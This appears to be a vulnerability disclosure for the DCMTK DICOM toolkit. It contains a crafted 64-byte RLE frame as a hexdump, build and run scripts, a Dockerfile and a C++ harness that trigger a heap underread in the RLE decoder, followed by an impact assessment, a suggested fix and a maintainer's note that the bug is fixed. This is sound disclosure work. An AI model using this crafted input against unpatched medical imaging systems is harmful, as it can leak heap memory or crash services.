(13.3.0-6ubuntu2~24.04.1) ... #4 23.88 Selecting previously unselected package gcc-x86-64-linux-gnu. #4 23.88 Preparing to unpack .../55-gcc-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ... #4 23.90 Unpacking gcc-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... #4 23.99 Selecting previously unselected package gcc. #4 23.99 Preparing to unpack .../56-gcc_4%3a13.2.0-7ubuntu1_amd64.deb ... #4 24.01 Unpacking gcc (4:13.2.0-7ubuntu1) ... #4 24.09 Selecting previously unselected package libc-dev-bin. #4 24.09 Preparing to unpack .../57-libc-dev-bin_2.39-0ubuntu8.7_amd64.deb ... #4 24.11 Unpacking libc-dev-bin (2.39-0ubuntu8.7) ... #4 24.20 Selecting previously unselected package linux-libc-dev:amd64. #4 24.20 Preparing to unpack .../58-linux-libc-dev_6.8.0-134.134_amd64.deb ... #4 24.22 Unpacking linux-libc-dev:amd64 (6.8.0-134.134) ... #4 24.54 Selecting previously unselected package libcrypt-dev:amd64. #4 24.54 Preparing to unpack .../59-libcrypt-dev_1%3a4.4.36-4build1_amd64.deb ... #4 24.56 Unpacking libcrypt-dev:amd64 (1:4.4.36-4build1) ... #4 24.65 Selecting previously unselected package rpcsvc-proto. #4 24.65 Preparing to unpack .../60-rpcsvc-proto_1.4.2-0ubuntu7_amd64.deb ... #4 24.66 Unpacking rpcsvc-proto (1.4.2-0ubuntu7) ... #4 24.76 Selecting previously unselected package libc6-dev:amd64. #4 24.76 Preparing to unpack .../61-libc6-dev_2.39-0ubuntu8.7_amd64.deb ... #4 24.78 Unpacking libc6-dev:amd64 (2.39-0ubuntu8.7) ... #4 25.01 Selecting previously unselected package libstdc++-13-dev:amd64. #4 25.01 Preparing to unpack .../62-libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 25.03 Unpacking libstdc++-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ... #4 25.35 Selecting previously unselected package g++-13-x86-64-linux-gnu. #4 25.35 Preparing to unpack .../63-g++-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 25.36 Unpacking g++-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... #4 25.68 Selecting previously unselected package g++-13. #4 25.69 Preparing to unpack .../64-g++-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 25.70 Unpacking g++-13 (13.3.0-6ubuntu2~24.04.1) ... #4 25.78 Selecting previously unselected package g++-x86-64-linux-gnu. #4 25.78 Preparing to unpack .../65-g++-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ... #4 25.80 Unpacking g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... #4 25.89 Selecting previously unselected package g++. #4 25.89 Preparing to unpack .../66-g++_4%3a13.2.0-7ubuntu1_amd64.deb ... #4 25.91 Unpacking g++ (4:13.2.0-7ubuntu1) ... #4 26.01 Selecting previously unselected package libcurl3t64-gnutls:amd64. #4 26.01 Preparing to unpack .../67-libcurl3t64-gnutls_8.5.0-2ubuntu10.10_amd64.deb ... #4 26.03 Unpacking libcurl3t64-gnutls:amd64 (8.5.0-2ubuntu10.10) ... #4 26.12 Selecting previously unselected package liberror-perl. #4 26.12 Preparing to unpack .../68-liberror-perl_0.17029-2_all.deb ... #4 26.14 Unpacking liberror-perl (0.17029-2) ... #4 26.22 Selecting previously unselected package git-man. #4 26.22 Preparing to unpack .../69-git-man_1%3a2.43.0-1ubuntu7.3_all.deb ... #4 26.24 Unpacking git-man (1:2.43.0-1ubuntu7.3) ... #4 26.36 Selecting previously unselected package git. #4 26.37 Preparing to unpack .../70-git_1%3a2.43.0-1ubuntu7.3_amd64.deb ... ... (781 more lines; full file in poc/docker_build.log)
rle_frame.bin (64-byte binary inputxxd hex)
Reconstruct the 64-byte binary rle_frame.bin from this hexdump (xxd -r -p reverses it):
bc. xxd -r -p > rle_frame.bin <<'EOF'
0100000040000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
EOF
#!/usr/bin/env bash
# Build the dcmtk RLE last-pixel heap-underread PoC.
#
# Self-contained: DCMTK source lives at $LIB (=/src, cloned at the pinned
# commit by the Dockerfile); the harness is compiled in the poc dir (/poc).
# No host paths, no private image. A full dcmtk build is enormous, so we build
# ONLY the modules this PoC reaches (ofstd oflog oficonv dcmdata dcmimgle --
# dcmdata carries the RLE codec dcrleccd.cc) with the triage sanitizer matrix:
# -fsanitize=address,undefined -fno-sanitize-recover=undefined
set -euo pipefail
SRC="${LIB:-/src}"
POC="$(cd "$(dirname "$0")" && pwd)"
BUILD="$SRC/build-asan"
MODULES="ofstd;oflog;oficonv;dcmdata;dcmimgle"
MAKE_TARGETS="dcmimgle dcmdata oflog ofstd oficonv"
LINK_LIBS="-ldcmimgle -ldcmdata -loflog -lofstd -loficonv"
INC_MODULES="ofstd oflog oficonv dcmdata dcmimgle"
SAN="-fsanitize=address,undefined -fno-sanitize-recover=undefined -fno-omit-frame-pointer -g -O1"
CXX="${CXX:-g++}"
if [ ! -f "$BUILD/.configured" ]; then
mkdir -p "$BUILD"; cd "$BUILD"
cmake -G "Unix Makefiles" "$SRC" \
-DCMAKE_BUILD_TYPE=Debug \
-DBUILD_SHARED_LIBS=OFF -DBUILD_APPS=OFF \
-DDCMTK_MODULES="$MODULES" \
-DDCMTK_WITH_ZLIB=OFF -DDCMTK_WITH_OPENSSL=OFF -DDCMTK_WITH_PNG=OFF \
-DDCMTK_WITH_TIFF=OFF -DDCMTK_WITH_XML=OFF -DDCMTK_WITH_ICONV=OFF \
-DDCMTK_WITH_ICU=OFF -DDCMTK_WITH_OPENJPEG=OFF \
-DDCMTK_ENABLE_CHARSET_CONVERSION=oficonv \
-DCMAKE_C_FLAGS="$SAN" -DCMAKE_CXX_FLAGS="$SAN" -DCMAKE_EXE_LINKER_FLAGS="$SAN"
touch "$BUILD/.configured"
fi
cd "$BUILD"
make -j"$(nproc)" $MAKE_TARGETS
LIBDIR=""
for d in "$BUILD/lib" "$BUILD"; do
if ls "$d"/libdcmdata.a >/dev/null 2>&1; then LIBDIR="$d"; break; fi
done
[ -n "$LIBDIR" ] || { echo "FAIL: dcmtk libs not found"; find "$BUILD" -name 'lib*.a'; exit 1; }
echo "libs in: $LIBDIR"
INCS="-I$SRC/config/include -I$BUILD/config/include"
for m in $INC_MODULES; do INCS="$INCS -I$SRC/$m/include"; done
"$CXX" $SAN $INCS "$POC/harness.cc" -o "$POC/harness" \
-L"$LIBDIR" $LINK_LIBS -lpthread
echo "BUILT: $POC/harness"
#!/usr/bin/env bash
# Run the dcmtk RLE last-pixel heap-underread PoC.
# Expect an AddressSanitizer heap-buffer-overflow READ (1 byte before the heap
# region) in DcmRLECodecDecoder::decodeFrame at dcmdata/libsrc/dcrleccd.cc:740.
set -uo pipefail
POC="$(cd "$(dirname "$0")" && pwd)"
SRC="${LIB:-/src}"
export DCMDICTPATH="$SRC/dcmdata/data/dicom.dic"
export ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1"
export ASAN_SYMBOLIZER_PATH="${ASAN_SYMBOLIZER_PATH:-$(command -v llvm-symbolizer || true)}"
echo "=== dcmtk RLE last-pixel underread (expect ASan heap-buffer-overflow READ at dcrleccd.cc:740) ==="
"$POC/harness" "$POC/rle_frame.bin"
rc=$?
echo "=== exit: $rc ==="
exit "$rc"
# Self-contained reproducer image for dcmtk (DCMTK DICOM toolkit) findings.
#
# Clones DCMTK at the exact commit the finding was verified against and builds
# ONLY the dcmtk modules the PoC needs (a full dcmtk build is enormous) with
# AddressSanitizer + UndefinedBehaviorSanitizer, then compiles the finding's
# harness against those sanitized static libs. No private base image and no
# local source tree are needed: a maintainer runs the two commands below and
# reproduces the crash from a clean machine.
#
# docker build -t poc .
# docker run --rm poc
#
# build.sh does the scoped module build (cmake -DDCMTK_MODULES="..." + make of
# just the needed targets) and the harness compile, so the per-finding module
# set lives in build.sh and this Dockerfile is identical for every dcmtk PoC.
#
# Toolchain: GCC (g++) + libasan/libubsan, the exact toolchain these findings
# were triaged under (their reference asan_output.txt traces show GCC's
# libsanitizer). It matters: one finding (the diluptab big-endian PoC) drives
# the library's big-endian branch by writing the runtime byte-order global
# through a const_cast; clang places that global read-only and elides the UB
# store, so the bug would not reproduce under clang. GCC reproduces it.
FROM ubuntu:24.04
# Pinned in pipeline/targets.yaml (dcmtk.commit). Override at build time with
# --build-arg COMMIT=<sha> to reproduce against another revision.
ARG COMMIT=7246c5a9ca64c2d4312774bf40d046e255c00a41
ENV DEBIAN_FRONTEND=noninteractive LIB=/src CC=gcc CXX=g++
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ gcc libasan8 libubsan1 cmake make \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/DCMTK/dcmtk /src \
&& git -C /src checkout "$COMMIT"
WORKDIR /poc
COPY . /poc
RUN bash build.sh
CMD ["bash", "run.sh"]
/*
* PoC harness: dcmtk-rle-lastpixel-heap-underread
*
* Target: DcmRLECodecDecoder::decodeFrame (dcmdata/libsrc/dcrleccd.cc)
* Bug: Line 740: const Uint8 lastPixelValue = *(outputBuffer - 1);
* When the last RLE stripe decodes to zero bytes (decoderSize==0),
* outputBuffer still points to the BASE of the internal heap allocation
* (new unsigned char[bytesPerStripe], dcrledec.h:49). Reading at -1
* accesses the ASan red zone immediately before that allocation.
*
* Trigger mechanism:
* 1. Build a 4x4 MONOCHROME2/8-bit dataset (=> 1 RLE stripe, bytesPerStripe=16).
* 2. Craft a 64-byte RLE pixel item whose only segment has zero compressed bytes:
* rleHeader[0] = 1 (one segment)
* rleHeader[1] = 64 (segment offset = fragmentLength => 0 data bytes)
* 3. decompress(ptr, 0) at dcrledec.h:74 returns EC_Normal immediately, size()=0.
* 4. lastStripeOfColor && size() < bytesPerStripe => warning path (line 689), no return.
* 5. outputBuffer = getOutputBuffer() = allocation base (size 16).
* 6. decoderSize=0 => for-loop at line 734 skips.
* 7. Line 740: *(outputBuffer - 1) => 1-byte read BEFORE the 16-byte allocation.
* ASan reports: heap-buffer-overflow (READ 1 byte before heap region).
*
* Build: reuses the ASan+UBSan dcmtk static libs from the overlay PoC.
* See build.sh.
*/
#include "dcmtk/config/osconfig.h"
#include "dcmtk/dcmdata/dcdatset.h"
#include "dcmtk/dcmdata/dcpixel.h"
#include "dcmtk/dcmdata/dcpixseq.h"
#include "dcmtk/dcmdata/dcpxitem.h"
#include "dcmtk/dcmdata/dcdeftag.h"
#include "dcmtk/dcmdata/dcrledrg.h"
#include "dcmtk/dcmdata/dcrlerp.h"
#include "dcmtk/dcmdata/dcxfer.h"
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
/* --- Crafted RLE pixel item, read from file (default: rle_frame.bin) ---
* The on-disk input is the attacker-supplied RLE fragment: a 64-byte RLE
* header = 16 uint32 little-endian values:
* rleHeader[0] = 1 -> one segment (correct for MONOCHROME2/8-bit)
* rleHeader[1] = 64 -> segment-0 byte offset = 64 = fragmentLength
* => bytesToDecode = fragmentLength - 64 = 0
* rleHeader[2..15] = 0 (unused)
*
* With bytesToDecode=0:
* decompress(rleData + 64, 0) -> returns EC_Normal (dcrledec.h:74), size()=0.
* lastStripeOfColor=true && size(0) < bytesPerStripe(16) -> warning, no early return.
* outputBuffer = getOutputBuffer() = new unsigned char[16] base pointer.
* decoderSize=0 -> for-loop at line 734 executes 0 times -> outputBuffer unchanged.
* Line 740: *(outputBuffer - 1) -> 1-byte read before the 16-byte allocation -> ASan!
*/
static std::vector<uint8_t> read_file(const char *path)
{
FILE *f = std::fopen(path, "rb");
if (!f) {
std::fprintf(stderr, "[poc] cannot open input file: %s\n", path);
std::exit(2);
}
std::vector<uint8_t> data;
uint8_t buf[4096];
size_t n;
while ((n = std::fread(buf, 1, sizeof(buf), f)) > 0)
data.insert(data.end(), buf, buf + n);
std::fclose(f);
return data;
}
/* --- Dataset: 4x4 MONOCHROME2, 8-bit ---
* imageSamplesPerPixel=1, imageBytesAllocated=1
* => numberOfStripes check at dcrleccd.cc:596 expects 1 * 1 = 1 stripe.
* bytesPerStripe = cols * rows = 4 * 4 = 16.
* DcmRLEDecoder is allocated with new unsigned char[16].
*
* Attaches the crafted RLE representation and returns the pixel-data element
* the entry point is called on. */
static DcmPixelData *build_rle_dataset(DcmDataset &dset,
const std::vector<uint8_t> &rleData)
{
dset.putAndInsertUint16(DCM_Rows, 4);
dset.putAndInsertUint16(DCM_Columns, 4);
dset.putAndInsertUint16(DCM_SamplesPerPixel, 1);
dset.putAndInsertString(DCM_PhotometricInterpretation, "MONOCHROME2");
dset.putAndInsertUint16(DCM_BitsAllocated, 8);
dset.putAndInsertUint16(DCM_BitsStored, 8);
dset.putAndInsertUint16(DCM_HighBit, 7);
dset.putAndInsertUint16(DCM_PixelRepresentation, 0);
dset.putAndInsertString(DCM_NumberOfFrames, "1");
/* --- Build pixel sequence ---
* Item 0: empty basic offset table (determineStartFragment -> currentItem=1)
* Item 1: our crafted 64-byte RLE header (the only frame fragment)
*/
DcmPixelSequence *pixSeq = new DcmPixelSequence(DCM_PixelSequenceTag);
/* item 0: empty offset table */
DcmPixelItem *offTable = new DcmPixelItem(DCM_PixelItemTag);
pixSeq->insert(offTable);
/* item 1: crafted RLE frame data */
DcmPixelItem *frame = new DcmPixelItem(DCM_PixelItemTag);
frame->putUint8Array(rleData.data(), (Uint32)rleData.size());
pixSeq->insert(frame);
/* --- Attach compressed representation to pixel data element --- */
DcmPixelData *px = new DcmPixelData(DCM_PixelData);
dset.insert(px);
DcmRLERepresentationParameter rleRP;
/* putOriginalRepresentation sets existUnencapsulated=false, takes ownership of pixSeq */
px->putOriginalRepresentation(EXS_RLELossless, &rleRP, pixSeq);
return px;
}
int main(int argc, char **argv)
{
/* Attacker-supplied RLE fragment comes from a file (default rle_frame.bin). */
const char *inputPath = (argc > 1) ? argv[1] : "rle_frame.bin";
std::vector<uint8_t> rleData = read_file(inputPath);
/* Register the RLE codec so DcmCodecList::decodeFrame can dispatch to it. */
DcmRLEDecoderRegistration::registerCodecs();
DcmDataset dset;
DcmPixelData *px = build_rle_dataset(dset, rleData);
/* --- Output buffer: exact frame size (4*4*1=16 bytes) --- */
const Uint32 bufSize = 16;
/* Use exact-size heap buffer so any overwrite is caught by ASan redzones. */
uint8_t *buffer = static_cast<uint8_t *>(malloc(bufSize));
Uint32 startFrag = 0;
OFString colorModel;
std::fprintf(stderr, "[poc] calling getUncompressedFrame (RLE decodeFrame)...\n");
/*
* getUncompressedFrame -> DcmCodecList::decodeFrame ->
* DcmRLECodecDecoder::decodeFrame -> line 740: *(outputBuffer - 1) -> ASan fires.
*/
OFCondition result = px->getUncompressedFrame(&dset, 0, startFrag,
buffer, bufSize, colorModel);
/* If ASan with abort_on_error=1 is active, we never reach here. */
std::fprintf(stderr, "[poc] result=%s\n", result.text());
free(buffer);
DcmRLEDecoderRegistration::cleanup();
return 0;
}
Impact¶
One byte before a heap allocation is read and used as a pixel fill value. The byte's content is undefined (heap metadata or an adjacent allocation), so information disclosure is heap-layout dependent. No write primitive exists at this site; RCE is not supported by current evidence. Impact is a 1-byte information disclosure plus possible DoS when ASan or hardened allocators trap the underread. Severity: medium.
Suggested fix¶
Guard the fill-remainder block against a zero-decoded-bytes case:
bc(c). const Uint8 lastPixelValue = (decoderSize > 0) ? *(outputBuffer - 1) : 0;
Not independently verified¶
The following could not be confirmed against source and are stated as hypotheses only:
- A live PoC exists; reproduction_tier is full-poc (ASan heap-buffer-overflow READ at dcrleccd.cc:740). The heap-underread reads one byte before a heap allocation whose content is undefined; information disclosure is layout-dependent (the adjacent byte may belong to heap metadata or another allocation). No write primitive exists at this site, so RCE is not supported by current evidence.
<hr />
Generated by icsloop. All quoted code verified present in source at the stated commit (snippet gate: OPEN, 10 checks).
Updated by Michael Onken about 5 hours ago
Fixed in commit 2846f2914a6132d58c8e35d4337fccc0e52e3fe7.